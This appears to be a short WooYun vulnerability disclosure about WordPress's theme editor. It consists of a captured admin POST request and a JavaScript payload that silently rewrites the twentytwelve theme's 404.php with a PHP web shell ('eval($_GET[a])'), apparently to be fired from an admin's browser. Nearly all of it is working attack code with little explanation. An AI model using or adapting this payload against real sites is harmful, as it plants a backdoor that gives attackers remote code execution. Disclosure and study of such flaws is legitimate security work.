WooYun.org

post http://localhost/wp/wp-admin/theme-editor.php
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp/wp-admin/theme-editor.php?file=404.php&theme=twentytwelve
Cookie: wordpress_1233097993469c07c80a9cb529880b71=admin%7C1364700254%7Cb875aa22d9bb88383aa6f9b1628dd86b; wp-settings-time-1=1364445495; comment_author_1233097993469c07c80a9cb529880b71=test; comment_author_email_1233097993469c07c80a9cb529880b71=632117384%40qq.com; wp-settings-1=editor%3Dhtml; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_1233097993469c07c80a9cb529880b71=admin%7C1364700254%7C082956c79c01926f6f107ccd131dade7; s5wJ_2132_saltkey=uNFgCP80; s5wJ_2132_lastvisit=1364366389; s5wJ_2132_ulastactivity=591affdyS6zMRtF88Jad%2BTVr47oX95MIizEQOFn8RMF%2BN%2FpUUHdw
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
_wpnonce=b6cda66293&_wp_http_referer=%2Fwp%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dtwentytwelve&newcontent=%3C%3Fphp+eval%28%24_GET%5Ba%5D%29%3B%3F%3E&action=update&file=404.php&theme=twentytwelve&scrollto=0&submit=%E6%9B%B4%E6%96%B0%E6%96%87%E4%BB%B6

<script>
function CreateRquest(){
var httpRequest;
try{
httpRequest=new ActiveXObject("Msxml2.XMLHTTP");
}catch(e){
try{
httpRequest=new ActiveXObject("Microsoft.XMLHTTP");
}catch(e1){
httpRequest=new XMLHttpRequest();
}
}
return httpRequest;
}
var request=CreateRquest();
request.open("post","http://localhost/wp/wp-admin/theme-editor.php",true);
request.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var a="_wpnonce=b6cda66293&_wp_http_referer=%2Fwp%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dtwentytwelve&newcontent=<?php eval($_GET[a]);?>&action=update&file=404.php&theme=twentytwelve&scrollto=0&submit=%E6%9B%B4%E6%96%B0%E6%96%87%E4%BB%B6";
request.send(a);
</script>